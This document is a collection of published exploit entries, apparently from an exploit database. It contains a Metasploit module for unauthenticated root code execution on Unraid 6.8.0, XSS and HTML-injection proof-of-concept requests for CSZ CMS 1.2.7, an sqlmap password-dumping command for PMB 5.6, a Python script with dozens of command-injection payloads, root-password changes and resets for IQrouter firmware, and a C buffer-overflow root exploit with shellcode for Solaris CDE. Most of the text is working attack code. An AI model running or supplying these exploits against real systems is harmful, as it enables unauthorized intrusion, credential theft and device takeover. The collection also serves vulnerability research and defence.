## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpClient include Msf::Exploit::PhpEXE Rank = ExcellentRanking def initialize(info = {}) super( update_info( info, 'Name' => 'Unraid 6.8.0 Auth Bypass PHP Code Execution', 'Description' => %q{ This module exploits two vulnerabilities affecting Unraid 6.8.0. An authentication bypass is used to gain access to the administrative interface, and an insecure use of the extract PHP function can be abused for arbitrary code execution as root. }, 'Author' => [ 'Nicolas CHATELAIN <[email protected]>' ], 'References' => [ [ 'CVE', '2020-5847' ], [ 'CVE', '2020-5849' ], [ 'URL', 'https://sysdream.com/news/lab/2020-02-06-cve-2020-5847-cve-2020-5849-unraid-6-8-0-unauthenticated-remote-code-execution-as-root/' ], [ 'URL', 'https://forums.unraid.net/topic/88253-critical-security-vulnerabilies-discovered/' ] ], 'License' => MSF_LICENSE, 'Platform' => ['php'], 'Privileged' => true, 'Arch' => ARCH_PHP, 'Targets' => [ [ 'Automatic', {}] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Feb 10 2020' ) ) register_options( [ OptString.new('TARGETURI', [ true, 'The URI of the Unraid application', '/']) ] ) end def check res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'webGui/images/green-on.png/'), 'method' => 'GET' ) unless res return CheckCode::Unknown('Connection failed') end unless res.code == 200 return CheckCode::Safe('Unexpected reply') end /\sVersion:\s(?<version>[\d]{1,2}\.[\d]{1,2}\.[\d]{1,2}) / =~ res.body if version && Gem::Version.new(version) == Gem::Version.new('6.8.0') return CheckCode::Appears("Unraid version #{version} appears to be vulnerable") end CheckCode::Safe end def exploit begin vprint_status('Sending exploit code') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'webGui/images/green-on.png/'), 'method' => 'GET', 'encode_params' => false, 'vars_get' => { 'path' => 'x', 'site[x][text]' => Rex::Text.uri_encode("<?php eval(base64_decode('#{Rex::Text.encode_base64(payload.encoded)}')); ?>", 'hex-normal') } ) if res.nil? print_good('Request timed out, OK if running a non-forking/blocking payload...') elsif res.code == 302 fail_with(Failure::NotVulnerable, 'Redirected, target is not vulnerable.') else print_warning("Unexpected response code #{res.code}, please check your payload.") end rescue ::Rex::ConnectionError fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") end end end
-
CSZ CMS 1.2.7 - Persistent Cross-Site Scripting
# Exploit Title: CSZ CMS 1.2.7 - Persistent Cross-Site Scripting # Exploit Author: Metin Yunus Kandemir # Vendor Homepage: https://www.cszcms.com/ # Software Link: https://sourceforge.net/projects/cszcms/ # Version: v1.2.7 # Description: # Unauthorized user that has access private message can embed Javascript # code to admin panel. # Steps to reproduce: 1- Log in to member panel. 1- Change user-agent header as <script>alert(1)</script> 2- Send the private message to admin user. 3- When admin user logs in to Backend System Dashboard, an alert box pops up on screen. PoC Request: POST /CSZCMS-V1.2.7/member/insertpm/ HTTP/1.1 Host: localhost User-Agent: <script>alert(1)</script> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://localhost/CSZCMS-V1.2.7/member/newpm Content-Type: application/x-www-form-urlencoded Content-Length: 152 Cookie: cszcookie Connection: close Upgrade-Insecure-Requests: 1 csrf_csz=*&csrf_csz=*&to%5B%5D=1&title=user-agent&message=user-agent&submit=Send
-
PMB 5.6 - 'logid' SQL Injection
# Exploit Title: PMB 5.6 - 'logid' SQL Injection # Google Dork: inurl:opac_css # Date: 2020-04-20 # Exploit Author: 41-trk (Tarik Bakir) # Vendor Homepage: http://www.sigb.net # Software Link: http://forge.sigb.net/redmine/projects/pmb/files # Affected versions : <= 5.6 -==== Software Description ====- PMB is a completely free ILS (Integrated Library management System). The domain of software for libraries is almost exclusively occupied by proprietary products. We are some librarians, users and developers deploring this state of affairs. PMB is based on web technology. This is what we sometimes call a 'web-app'. PMB requires an HTTP server (such as Apache, but this is not an obligation), the MySQL database and the PHP language. The main functions of PMB are : * Supporting the UNIMARC format * Authorities management (authors, publishers, series, subjects...) * Management of loans, holds, borrowers... * A user-friendly configuration * The ability to import full bibliographic records * A user-friendly OPAC integrating a browser * Loans management with a module designed to serve even the very small establishments * Serials management * Simple administration procedures that can be handled easily even by the library staff... -==== Vulnerability ====- Variable $logid isn't properly sanitized in file /admin/sauvegarde/download.php, which allows ADMINISTRATION_AUTH to execute arbitrary SQL commands via the id parameter. -==== POC ====- http://localhost/[PMB_PATH]/admin/sauvegarde/download.php?logid=1 [SQLI] Using SQLMAP : ./sqlmap.py -u "http://localhost/[PMB_PATH]/admin/sauvegarde/download.php?logid=1" -p logid --headers="Cookie: [VALID_USER_COOKIE]" --passwords -==== Exploit requirements ====- - You will need to be logged in in order to exploit the vulnerability.
-
CSZ CMS 1.2.7 - 'title' HTML Injection
# Exploit Title: CSZ CMS 1.2.7 - 'title' HTML Injection # Exploit Author: Metin Yunus Kandemir # Vendor Homepage: https://www.cszcms.com/ # Software Link: https://sourceforge.net/projects/cszcms/ # Version: v1.2.7 # Description: # Authenticated user can inject hyperlink to Backend System Dashboard and # Member Dashboard via message. PoC Request: POST /CSZCMS-V1.2.7/member/insertpm/ HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://localhost/CSZCMS-V1.2.7/member/newpm Content-Type: application/x-www-form-urlencoded Content-Length: 196 Cookie: cszcookie Connection: close Upgrade-Insecure-Requests: 1 csrf_csz=*&csrf_csz=*&to%5B%5D=1&title=<h1><b><a href="http://changeme/">Please click to view</a></b></h1>&message=phishing&submit=Send
-
IQrouter 3.3.1 Firmware - Remote Code Execution
# Exploit Title: IQrouter 3.3.1 Firmware - Remote Code Execution # Date: 2020-04-21 # Exploit Author: drakylar # Vendor Homepage: https://evenroute.com/ # Software Link: https://evenroute.com/iqrouter # Version: IQrouter firmware up to 3.3.1 # Tested on: IQrouter firmware 3.3.1 # CVE : N/A #!/usr/bin/env python3 import argparse from sys import argv, exit try: import requests except ImportError: print("Install requests lib! pip3 install requests") print(""" ####################################################################### # IQrouter multiple RCE and other vulnerabilities # # by drakylar (Shaposhnikov Ilya) # # CVE-2020-11963 CVE-2020-11964 CVE-2020-11966 # # CVE-2020-11967 CVE-2020-11968 # ####################################################################### """) rce_setup = [ [ "/cgi-bin/luci/er/vlanTag?vlan_tag='`{}`'", "RCE /vlanTag (vlan_tag param)" ], [ "/cgi-bin/luci/er/verify_wifi?wifi_conflict='`{}`'", "RCE /verify_wifi (wifi_conflict param). Need hide_wifi_config != true" ], [ "/cgi-bin/luci/er/screen9?save_creds=1&s1&s2='`{}`'&p1&p2", "RCE /screen9 (s2 param)" ], [ "/cgi-bin/luci/er/screen9?save_creds=1&s1='`{}`'&s2&p1&p2", "RCE /screen9 (s1 param)" ], [ "/cgi-bin/luci/er/screen9?save_creds=1&s1&s2&p1&p2='`{}`'", "RCE /screen9 (p2 param)" ], [ "/cgi-bin/luci/er/screen9?save_creds=1&s1&s2&p1='`{}`'&p2", "RCE /screen9 (p1 param)" ], [ "/cgi-bin/luci/er/screen4?save_isp='`{}`", "RCE /screen4 (save_isp param)" ], [ "/cgi-bin/luci/er/screen2?set_wan_modem_interfaces='`{}`'", "RCE /screen2 set_wan_modem_interfaces param)" ], [ "/cgi-bin/luci/er/screen2?find_ip_address_conflict='`{}`'", "RCE /screen2 find_ip_address_conflict param)" ], [ "/cgi-bin/luci/er/screen10?set_security_question='`{}`'", "RCE /screen10 (set_security_question param)" ], [ "/cgi-bin/luci/er/screen10?set_security_answer='`{}`'&set_security_question=1", "RCE /screen10 (set_security_answer param)"], [ "/cgi-bin/luci/er/screen1?zonename='`{}`'", "RCE /screen1 (zonename param)" ], [ "/cgi-bin/luci/er/register?email=`{}`", "RCE /register (email param, result in /cgi-bin/luci/er/get_syslog for result)" ] ] rce_any = [ [ "/cgi-bin/luci/er/wifi?enable_guestwifi=1&guest_key=2&disable_guestwifi=1&connection_test=1&disassociate_low_ack_update=1&guestwifi_2g_ssid=3&guestwifi_5g_ssid=4&get_network_details=1&switch_reset_wifi_mode=1&save_creds=1&s1=1&s2='`{}`'&p1=1&p2=1", "RCE /wifi (s2 param)" ], [ "/cgi-bin/luci/er/wifi?enable_guestwifi=1&guest_key=2&disable_guestwifi=1&connection_test=1&disassociate_low_ack_update=1&guestwifi_2g_ssid=3&guestwifi_5g_ssid=4&get_network_details=1&switch_reset_wifi_mode=1&save_creds=1&s1='`{}`'&s2=5&p1=6&p2=7", "RCE /wifi (s1 param)" ], [ "/cgi-bin/luci/er/wifi?enable_guestwifi=1&guest_key=2&disable_guestwifi=1&connection_test=1&disassociate_low_ack_update=1&guestwifi_2g_ssid=3&guestwifi_5g_ssid=4&get_network_details=1&switch_reset_wifi_mode=1&save_creds=1&s1=1&s2=2&p1=3&p2='`{}`'", "RCE /wifi (p2 param)" ], [ "/cgi-bin/luci/er/wifi?enable_guestwifi=1&guest_key=2&disable_guestwifi=1&connection_test=1&disassociate_low_ack_update=1&guestwifi_2g_ssid=3&guestwifi_5g_ssid=4&get_network_details=1&switch_reset_wifi_mode=1&save_creds=1&s1=1&s2=2&p1='`{}`'&p2=4", "RCE /wifi (p1 param)" ], [ "/cgi-bin/luci/er/wifi?enable_guestwifi=1&guest_key=2&disable_guestwifi=1&connection_test=1&disassociate_low_ack_update=1&guestwifi_2g_ssid=3&guestwifi_5g_ssid=`{}`&get_network_details=1&switch_reset_wifi_mode=1&save_creds=1&s1=4&s2=5&p1=6&p2=7", "RCE /wifi (guestwifi_5g_ssid param)" ], [ "/cgi-bin/luci/er/wifi?enable_guestwifi=1&guest_key=2&disable_guestwifi=1&connection_test=1&disassociate_low_ack_update=1&guestwifi_2g_ssid=`{}`&guestwifi_5g_ssid=3&get_network_details=1&switch_reset_wifi_mode=1&save_creds=1&s1=4&s2=5&p1=6&p2=7", "RCE /wifi (guestwifi_2g_ssid param)" ], [ "/cgi-bin/luci/er/wifi?enable_guestwifi=1&guest_key='`{}`'&disable_guestwifi=1&connection_test=1&disassociate_low_ack_update=1&guestwifi_2g_ssid=2&guestwifi_5g_ssid=3&get_network_details=1&switch_reset_wifi_mode=1&save_creds=1&s1=4&s2=5&p1=6&p2=7", "RCE /wifi (guest_key param)" ], [ "/cgi-bin/luci/er/wifi?enable_guestwifi='`{}`'&guest_key=2&disable_guestwifi=1&connection_test=1&disassociate_low_ack_update=1&guestwifi_2g_ssid=3&guestwifi_5g_ssid=4&get_network_details=1&switch_reset_wifi_mode=1&save_creds=1&s1=5&s2=6&p1=6&p2=7", "RCE /wifi (enable_guestwifi param)" ], [ "/cgi-bin/luci/er/screen11.1?email=`{}`®ister=123&uilog=123&bg=123", "RCE /screen11.1 (email param)" ], [ "/cgi-bin/luci/er/reboot_link?link='`{}`'", "RCE /reboot_link (link param)" ], [ "/cgi-bin/luci/er/diag_wifi/1/2/3/4/5/'`{}`'/", "RCE /diag_wifi (htm5ghz param)" ], [ "/cgi-bin/luci/er/diag_wifi/1/2/3/4/'`{}`'/6/", "RCE /diag_wifi (htm2ghz param)" ], [ "/cgi-bin/luci/er/diag_wifi/1/2/3/'`{}`'/5/6/", "RCE /diag_wifi (c5ghz param)" ], [ "/cgi-bin/luci/er/diag_wifi/1/2/'`{}`'/4/5/6/", "RCE /diag_wifi (c2ghz param)" ], [ "/cgi-bin/luci/er/diag_set_static_wan/'`{}`'/2/3/4/", "RCE /diag_set_static_wan (static_ip param)" ], [ "/cgi-bin/luci/er/diag_set_static_wan/1/'`{}`'/3/4/", "RCE /diag_set_static_wan (net_mask param)" ], [ "/cgi-bin/luci/er/diag_set_static_wan/1/2/'`{}`'/4/", "RCE /diag_set_static_wan (gateway param)" ], [ "/cgi-bin/luci/er/diag_set_static_wan/1/2/3/'`{}`'/", "RCE /diag_set_static_wan (dns param)" ], [ "/cgi-bin/luci/er/diag_set_static_modem/'`{}`'/2/3/", "RCE /diag_set_static_modem (static_ip param)" ], [ "/cgi-bin/luci/er/diag_set_static_modem/1/'`{}`'/3/", "RCE /diag_set_static_modem (net_mask param)" ], [ "/cgi-bin/luci/er/diag_set_static_modem/1/2/'`{}`'/", "RCE /diag_set_static_modem (gateway param)" ], [ "/cgi-bin/luci/er/diag_set_device_name_and_sync/'`{}`'/", "RCE /diag_set_device_name_and_sync (device_name param)" ], [ "/cgi-bin/luci/er/diag_set_device_name/'`{}`'/", "RCE /diag_set_device_name (device_name param)" ], [ "/cgi-bin/luci/er/diag_pppoe_update/'`{}`'/passs/", "RCE /diag_pppoe_update (wan_username param)" ], [ "/cgi-bin/luci/er/diag_pppoe_update/aaadmin/'`{}`'/", "RCE /diag_pppoe_update (wan_password param)" ], [ "/cgi-bin/luci/er/diag_pppoe/'`{}`'/passsswd/", "RCE /diag_pppoe (wan_username param)" ], [ "/cgi-bin/luci/er/diag_pppoe/aaadmin/'`{}`'/", "RCE /diag_pppoe (wan_password param)" ], [ "/cgi-bin/luci/er/diag_pppoa_update/'`{}`'/paaaasword/", "RCE /diag_pppoa_update (wan_username param)" ], [ "/cgi-bin/luci/er/diag_pppoa_update/aaadmin/'`{}`'/", "RCE /diag_pppoa_update (wan_password param)" ], [ "/cgi-bin/luci/er/diag_pppoa/'`{}`'/passs/", "RCE /diag_pppoa (wan_username param)" ], [ "/cgi-bin/luci/er/diag_pppoa/aaadmin/'`{}`'/", "RCE /diag_pppoa (wan_password param)" ], [ "/cgi-bin/luci/er/advanced_link?link='`{}`'", "RCE /advanced_link (link param)" ] ] advanced_payloads = [ [ "/cgi-bin/luci/er/reboot_link?reboot=1", "Reboot IQrouter (/reboot_link reboot param))" ], [ "/cgi-bin/luci/er/screen2?reboot=1", "Reboot IQrouter (/screen2 reboot param))" ], [ "/cgi-bin/luci/er/index?reset_config=1", "Reset IQrouter (/index reset_config param)" ], [ "/cgi-bin/luci/er/screen7?upgrade=1", "Upgrade IQrouter (/screen7 upgrade param)" ], [ "/cgi-bin/luci/er/vlanTag?restart_network=1", "Restart network (/vlanTag restart_network param)" ], [ "/cgi-bin/luci/er/diag_iperf_cmd/start", "Start iperf script (/diag_iperf_cmd/start)" ], [ "/cgi-bin/luci/er/diag_iperf_cmd/stop", "Stop iperf script (/diag_iperf_cmd/stop)" ], [ "/cgi-bin/luci/er/get_syslog", "Router setup info log (/get_syslog)" ], [ "/cgi-bin/luci/er/diag_set_password/c00lpasswd/", "Change root password to c00lpasswd (can change in code)" ], [ "/cgi-bin/luci/er/reset_password/", "Change root password to 'changeme' (static)" ] ] def print_payloads(): print('#' * 30) print("Payloads list") num = 1 print('######################### RCE without auth ########################') for payload in rce_any: print("{} - {}".format(num, payload[1])) num += 1 print( '############### RCE (router need to be in setup mode) ###############') for payload in rce_setup: print("{} - {}".format(num, payload[1])) num += 1 print( '######################### Advanced payloads #########################') for payload in advanced_payloads: print("{} - {}".format(num, payload[1])) num += 1 parser = argparse.ArgumentParser(description="IQrouter multiple RCE") parser.add_argument('--host', help='Host', type=str) parser.add_argument('-p', '--port', help='Web port (default: 80)', default=80, type=int) parser.add_argument('-n', '--num', help='Payload number', default=0, type=int) parser.add_argument('-c', '--cmd', help='Command to execute (default: pwd)', default="pwd", type=str) parser.add_argument('--protocol', help='Protocol (http/https)', default="http", type=str) args = parser.parse_args() def main(): print("") full_payload_list = rce_setup + rce_any + advanced_payloads payloads_amount = len(full_payload_list) try: hostname = args.host port = args.port payload_num = int(args.num) bash_cmd = args.cmd protocol = args.protocol if payload_num < 1 or payload_num > payloads_amount: print("Error with payload number!") raise IndexError if port < 0 or port > 65535: print("Error with port number") raise IndexError if protocol not in ['http', 'https']: print("Error with protocol name") raise IndexError current_payload = full_payload_list[payload_num - 1] print("Payload: {}".format(current_payload[1])) print("Host: {}".format(hostname)) print("Port: {}".format(port)) print("Protocol: {}".format(protocol)) print("Command: {}".format(bash_cmd)) full_url = "{}://{}:{}{}".format(protocol, hostname, port, current_payload[0].format(bash_cmd)) print("Built URL: {}".format(full_url)) r = requests.get(full_url) print("Status code: {}".format(r.status_code)) return except IndexError: parser.print_help() print_payloads() exit(1) if __name__ == '__main__': print( "\n\nWarning: use TABS(doesn't work in some payloads) or ${IFS} for space.") exit(main())
-
Oracle Solaris Common Desktop Environment 1.6 - Local Privilege Escalation
# Title: Oracle Solaris Common Desktop Environment 1.6 - Local Privilege Escalation # Date: 2020-04-21 # Author: Marco Ivaldi # Vendor: www.oracle.com # CVE: CVE-2020-2944 /* * raptor_sdtcm_conv.c - CDE sdtcm_convert LPE for Solaris/Intel * Copyright (c) 2019-2020 Marco Ivaldi <[email protected]> * * A buffer overflow in the _SanityCheck() function in the Common Desktop * Environment version distributed with Oracle Solaris 10 1/13 (Update 11) and * earlier allows local users to gain root privileges via a long calendar name * or calendar owner passed to sdtcm_convert in a malicious calendar file * (CVE-2020-2944). * * The open source version of CDE (based on the CDE 2.x codebase) is not * affected, because it does not ship the vulnerable binary. * * "CDE, the gift that keeps on giving" -- @0xdea * "Feels more like a curse you can't break from this side." -- @alanc * * This exploit uses the ret-into-ld.so technique to bypass the non-exec stack * protection. In case troubles arise with NULL-bytes inside the ld.so.1 memory * space, try returning to sprintf() instead of strcpy(). * * I haven't written a Solaris/SPARC version because I don't have a SPARC box * on which Solaris 10 can run. If anybody is kind enough to give me access to * such a box, I'd be happy to port my exploit to Solaris/SPARC as well. * * Usage: * $ gcc raptor_sdtcm_conv.c -o raptor_sdtcm_conv -Wall * $ ./raptor_sdtcm_conv * [...] * Do you want to correct it? (Y/N) [Y] n * # id * uid=0(root) gid=1(other) egid=12(daemon) * # * * This should work with any common configuration on the first try. To * re-enable rpc.cmsd, clear its service maintenance status by running the * following commands as root: * # /usr/sbin/svcadm clear cde-calendar-manager * # /usr/bin/svcs -a | grep calendar * online 13:16:54 svc:/network/rpc/cde-calendar-manager:default * * Tested on: * SunOS 5.10 Generic_147148-26 i86pc i386 i86pc (Solaris 10 1/13) * [previous Solaris versions are also likely vulnerable] */ #include <fcntl.h> #include <link.h> #include <procfs.h> #include <stdio.h> #include <stdlib.h> #include <strings.h> #include <unistd.h> #include <sys/stat.h> #include <sys/systeminfo.h> #include <sys/types.h> #define INFO1 "raptor_sdtcm_conv.c - CDE sdtcm_convert LPE for Solaris/Intel" #define INFO2 "Copyright (c) 2019-2020 Marco Ivaldi <[email protected]>" #define VULN "/usr/dt/bin/sdtcm_convert" // the vulnerable program #define ADMIN "/usr/dt/bin/sdtcm_admin" // calendar admin utility #define BUFSIZE 2304 // size of the name/owner #define PAYSIZE 1024 // size of the payload #define OFFSET env_len / 2 // offset to the shellcode char sc[] = /* Solaris/x86 shellcode (8 + 8 + 27 = 43 bytes) */ /* double setuid() */ "\x31\xc0\x50\x50\xb0\x17\xcd\x91" "\x31\xc0\x50\x50\xb0\x17\xcd\x91" /* execve() */ "\x31\xc0\x50\x68/ksh\x68/bin" "\x89\xe3\x50\x53\x89\xe2\x50" "\x52\x53\xb0\x3b\x50\xcd\x91"; /* globals */ char *env[256]; int env_pos = 0, env_len = 0; /* prototypes */ int add_env(char *string); void check_zero(int addr, char *pattern); int search_ldso(char *sym); int search_rwx_mem(void); void set_val(char *buf, int pos, int val); /* * main() */ int main(int argc, char **argv) { char buf[BUFSIZE], payload[PAYSIZE]; char platform[256], release[256], hostname[256]; int i, payaddr; char *arg[3] = {"foo", "hax0r", NULL}; int sb = ((int)argv[0] | 0xfff); /* stack base */ int ret = search_ldso("strcpy"); /* or sprintf */ int rwx_mem = search_rwx_mem(); /* rwx memory */ char cmd[1024]; FILE *fp; /* print exploit information */ fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2); /* read command line */ if (argc != 1) { fprintf(stderr, "Usage:\n%s\n[...]\n", argv[0]); fprintf(stderr, "Do you want to correct it? (Y/N) [Y] n\n\n"); exit(1); } /* get system information */ sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1); sysinfo(SI_RELEASE, release, sizeof(release) - 1); sysinfo(SI_HOSTNAME, hostname, sizeof(release) - 1); /* prepare the payload (NOPs suck, but I'm too old for VOODOO stuff) */ memset(payload, '\x90', PAYSIZE); payload[PAYSIZE - 1] = 0x0; memcpy(&payload[PAYSIZE - sizeof(sc)], sc, sizeof(sc)); /* fill the envp, keeping padding */ add_env(payload); add_env("HOME=/tmp"); add_env(NULL); /* calculate the payload address */ payaddr = sb - OFFSET; /* prepare the evil palette name */ memset(buf, 'A', sizeof(buf)); buf[sizeof(buf) - 1] = 0x0; /* fill with function address in ld.so.1, saved eip, and arguments */ for (i = 0; i < BUFSIZE - 16; i += 4) { set_val(buf, i, ret); /* strcpy */ set_val(buf, i += 4, rwx_mem); /* saved eip */ set_val(buf, i += 4, rwx_mem); /* 1st argument */ set_val(buf, i += 4, payaddr); /* 2nd argument */ } /* print some output */ fprintf(stderr, "Using SI_PLATFORM\t: %s (%s)\n", platform, release); fprintf(stderr, "Using SI_HOSTNAME\t: %s\n", hostname); fprintf(stderr, "Using stack base\t: 0x%p\n", (void *)sb); fprintf(stderr, "Using rwx_mem address\t: 0x%p\n", (void *)rwx_mem); fprintf(stderr, "Using payload address\t: 0x%p\n", (void *)payaddr); fprintf(stderr, "Using strcpy() address\t: 0x%p\n\n", (void *)ret); /* create the evil calendar file */ fprintf(stderr, "Preparing the evil calendar file... "); snprintf(cmd, sizeof(cmd), "%s -a -c hax0r@%s", ADMIN, hostname); if (system(cmd) == -1) { perror("Error creating calendar file"); exit(1); } if (chmod("/usr/spool/calendar/callog.hax0r", 0660) == -1) { perror("Error creating calendar file"); exit(1); } /* prepare the evil calendar file (badchars currently not handled) */ fp = fopen("/usr/spool/calendar/callog.hax0r", "w"); if (!fp) { perror("Error preparing calendar file"); exit(1); } fprintf(fp, "Version: 4\n(calendarattributes " "(\"-//XAPIA/CSA/CALATTR//NONSGML Access List//EN\"," "\"10:access_list\",\"world:2\")\n"); /* buffer overflow in calendar name */ fprintf(fp, "(\"-//XAPIA/CSA/CALATTR//NONSGML Calendar Name//EN\"," "\"5:string\",\"%s\")\n", buf); fprintf(fp, "(\"-//XAPIA/CSA/CALATTR//NONSGML Calendar Owner//EN\"," "\"6:user\",\"fnord\")\n)"); /* buffer overflow in calendar owner */ /* fprintf(fp, "(\"-//XAPIA/CSA/CALATTR//NONSGML Calendar Name//EN\"," "\"5:string\",\"hax0r\")\n"); fprintf(fp, "(\"-//XAPIA/CSA/CALATTR//NONSGML Calendar Owner//EN\"," "\"6:user\",\"%s\")\n)", buf); */ fclose(fp); fprintf(stderr, "Done.\n"); /* run the vulnerable program */ fprintf(stderr, "Exploiting... Please answer \"n\" when prompted.\n"); execve(VULN, arg, env); perror("execve"); exit(0); } /* * add_env(): add a variable to envp and pad if needed */ int add_env(char *string) { int i; /* null termination */ if (!string) { env[env_pos] = NULL; return env_len; } /* add the variable to envp */ env[env_pos] = string; env_len += strlen(string) + 1; env_pos++; /* pad the envp using zeroes */ if ((strlen(string) + 1) % 4) for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) { env[env_pos] = string + strlen(string); env_len++; } return env_len; } /* * check_zero(): check an address for the presence of a 0x00 */ void check_zero(int addr, char *pattern) { if (!(addr & 0xff) || !(addr & 0xff00) || !(addr & 0xff0000) || !(addr & 0xff000000)) { fprintf(stderr, "Error: %s contains a 0x00!\n", pattern); exit(1); } } /* * search_ldso(): search for a symbol inside ld.so.1 */ int search_ldso(char *sym) { int addr; void *handle; Link_map *lm; /* open the executable object file */ if ((handle = dlmopen(LM_ID_LDSO, NULL, RTLD_LAZY)) == NULL) { perror("dlopen"); exit(1); } /* get dynamic load information */ if ((dlinfo(handle, RTLD_DI_LINKMAP, &lm)) == -1) { perror("dlinfo"); exit(1); } /* search for the address of the symbol */ if ((addr = (int)dlsym(handle, sym)) == NULL) { fprintf(stderr, "Sorry, function %s() not found\n", sym); exit(1); } /* close the executable object file */ dlclose(handle); check_zero(addr - 4, sym); return addr; } /* * search_rwx_mem(): search for an RWX memory segment valid for all * programs (typically, /usr/lib/ld.so.1) using the proc filesystem */ int search_rwx_mem(void) { int fd; char tmp[16]; prmap_t map; int addr = 0, addr_old; /* open the proc filesystem */ sprintf(tmp,"/proc/%d/map", (int)getpid()); if ((fd = open(tmp, O_RDONLY)) < 0) { fprintf(stderr, "Can't open %s\n", tmp); exit(1); } /* search for the last RWX memory segment before stack (last - 1) */ while (read(fd, &map, sizeof(map))) if (map.pr_vaddr) if (map.pr_mflags & (MA_READ | MA_WRITE | MA_EXEC)) { addr_old = addr; addr = map.pr_vaddr; } close(fd); /* add 4 to the exact address NULL bytes */ if (!(addr_old & 0xff)) addr_old |= 0x04; if (!(addr_old & 0xff00)) addr_old |= 0x0400; return addr_old; } /* * set_val(): copy a dword inside a buffer (little endian) */ void set_val(char *buf, int pos, int val) { buf[pos] = (val & 0x000000ff); buf[pos + 1] = (val & 0x0000ff00) >> 8; buf[pos + 2] = (val & 0x00ff0000) >> 16; buf[pos + 3] = (val & 0xff000000) >> 24; }